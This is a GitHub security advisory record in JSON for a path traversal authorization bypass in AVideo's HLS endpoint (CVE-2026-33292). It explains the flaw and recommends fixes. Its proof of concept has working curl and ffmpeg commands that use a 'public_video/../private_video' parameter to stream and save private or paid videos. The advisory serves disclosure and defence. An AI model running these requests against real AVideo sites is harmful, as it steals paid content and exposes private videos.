{"id":"GHSA-pw4v-x838-w5pg","summary":"AVideo has an Authorization Bypass via Path Traversal in HLS Endpoint Allows Streaming Private/Paid Videos","details":"## Summary\n\nThe HLS streaming endpoint (`view/hls.php`) is vulnerable to a path traversal attack that allows an unauthenticated attacker to stream any private or paid video on the platform. The `videoDirectory` GET parameter is used in two divergent code paths — one for authorization (which truncates at the first `/` segment) and one for file access (which preserves `..` traversal sequences) — creating a split-oracle condition where authorization is checked against one video while content is served from another.\n\n## Details\n\nThe vulnerability is a split-oracle between the authorization lookup and the filesystem path construction. When `hls.php` receives a request, it processes `$_GET['videoDirectory']` through two independent functions that interpret the input differently.\n\n**Step 1 — Authorization lookup truncates at first path segment** (`objects/video.php:1685-1688`):\n\n```php\npublic static function getVideoFromFileName($fileName, $ignoreGroup = false, $ignoreTags = false)\n{\n    // ...\n    $parts = explode(\"/\", $fileName);\n    if (!empty($parts[0])) {\n        $fileName = $parts[0];  // Only takes first segment\n    }\n    $fileName = self::getCleanFilenameFromFile($fileName);\n    // ...\n    $sql = \"SELECT id FROM videos WHERE filename = ? LIMIT 1\";\n    $res = sqlDAL::readSql($sql, \"s\", [$fileName]);\n```\n\nFor input `public_video/../private_video`, `explode(\"/\", ...)` yields `[\"public_video\", \"..\", \"private_video\"]` and only `public_video` is used for the DB query. The authorization check at `hls.php:73` then runs against this public video:\n\n```php\nif (isAVideoUserAgent() || ... || User::canWatchVideo($video['id']) || ...) {\n```\n\n**Step 2 — File path construction preserves the traversal** (`objects/video.php:4622-4638`):\n\n```php\npublic static function getPathToFile($videoFilename, $createDir = false)\n{\n    $videosDir = self::getStoragePath();\n    $videoFilename = str_replace($videosDir, '', $videoFilename);\n    $paths = Video::getPaths($videoFilename, $createDir);\n    if (preg_match('/index(_offline)?.(m3u8|mp4|mp3)$/', $videoFilename)) {\n        $paths['path'] = rtrim($paths['path'], DIRECTORY_SEPARATOR);\n        $paths['path'] = rtrim($paths['path'], '/');\n        $videoFilename = str_replace($paths['relative'], '', $videoFilename);\n        $videoFilename = str_replace($paths['filename'], '', $videoFilename);\n    }\n    $newPath = addLastSlash($paths['path']) . \"{$videoFilename}\";\n    $newPath = str_replace('//', '/', $newPath);\n    return $newPath;\n}\n```\n\n`getPaths` extracts the clean filename (e.g., `public_video`) to build the base path `/videos/public_video/`. Then `str_replace($paths['filename'], '', $videoFilename)` replaces only the clean name from the full input, leaving the traversal intact: `/../private_video/index.m3u8`. The concatenation at line 4634 produces `/videos/public_video/../private_video/index.m3u8`, which the OS resolves to `/videos/private_video/index.m3u8`.\n\n**No mitigations exist in the path:**\n- `fixPath()` (`objects/functionsFile.php:1116`) only normalizes slashes, does not filter `..`\n- No `realpath()` call anywhere in the chain\n- No `..` filtering on the `videoDirectory` parameter\n- The traversal is in a query parameter, not the URL path, so web server path normalization does not apply\n\n## PoC\n\n**Prerequisites:** An AVideo instance with at least one public video (filename: `public_video`) and one private/paid video (filename: `private_video`).\n\n**Step 1 — Confirm the private video is inaccessible directly:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=private_video\" \\\n  | head -5\n# Expected: \"HLS.php Can not see video [ID] (private_video) cannot watch (ID)\"\n```\n\n**Step 2 — Exploit the split-oracle to stream the private video:**\n\n```bash\ncurl -s \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -H \"Accept: application/vnd.apple.mpegurl\"\n# Expected: Valid M3U8 playlist containing private_video's HLS segments\n```\n\n**Step 3 — Stream the private video content using the returned playlist:**\n\n```bash\n# The M3U8 response contains segment URLs; use ffmpeg or any HLS player:\nffmpeg -i \"https://target.com/view/hls.php?videoDirectory=public_video/../private_video\" \\\n  -c copy stolen_video.mp4\n```\n\nThe authorization check passes because it resolves `public_video` (the public video), while the file system serves `private_video`'s HLS stream.\n\n## Impact\n\n- **Any unauthenticated user** can stream any private, unlisted, or paid video on the platform by knowing or guessing its filename directory.\n- **Paid content bypass:** Monetized videos protected by pay-per-view or subscription gates can be streamed for free.\n- **Privacy violation:** Videos marked as private or restricted to specific user groups are fully accessible.\n- **Content theft at scale:** Video filenames follow predictable patterns (e.g., `video_YYYYMMDD_XXXXX`), enabling enumeration. An attacker only needs one publicly accessible video to pivot to any other video on the instance.\n- This affects all AVideo instances with at least one public video, which is the default configuration for any content platform.\n\n## Recommended Fix\n\nSanitize the `videoDirectory` parameter to reject path traversal sequences before any processing occurs. Apply this fix at the top of `view/hls.php`:\n\n```php\n// view/hls.php — after line 16, before line 17\nif (empty($_GET['videoDirectory'])) {\n    forbiddenPage(\"No directory set\");\n}\n\n// ADD: Reject path traversal attempts\n$_GET['videoDirectory'] = str_replace('\\\\', '/', $_GET['videoDirectory']);\nif (preg_match('/\\.\\./', $_GET['videoDirectory'])) {\n    forbiddenPage(\"Invalid directory\");\n}\n// Normalize: strip leading/trailing slashes, collapse multiples\n$_GET['videoDirectory'] = trim($_GET['videoDirectory'], '/');\n$_GET['videoDirectory'] = preg_replace('#/+#', '/', $_GET['videoDirectory']);\n```\n\nAdditionally, add a `realpath()` check in `getPathToFile` as defense-in-depth (`objects/video.php:4636`):\n\n```php\n$newPath = str_replace('//', '/', $newPath);\n// ADD: Verify resolved path stays within videos directory\n$realPath = realpath($newPath);\n$realVideosDir = realpath($videosDir);\nif ($realPath === false || strpos($realPath, $realVideosDir) !== 0) {\n    return false;\n}\nreturn $newPath;\n```","aliases":["CVE-2026-33292"],"modified":"2026-03-25T19:47:32.887413Z","published":"2026-03-19T16:43:03Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-19T16:43:03Z","nvd_published_at":"2026-03-22T17:17:08Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pw4v-x838-w5pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33292"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/bc034066281085af00e64b0d7b81d8a025a928c4"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pw4v-x838-w5pg/GHSA-pw4v-x838-w5pg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}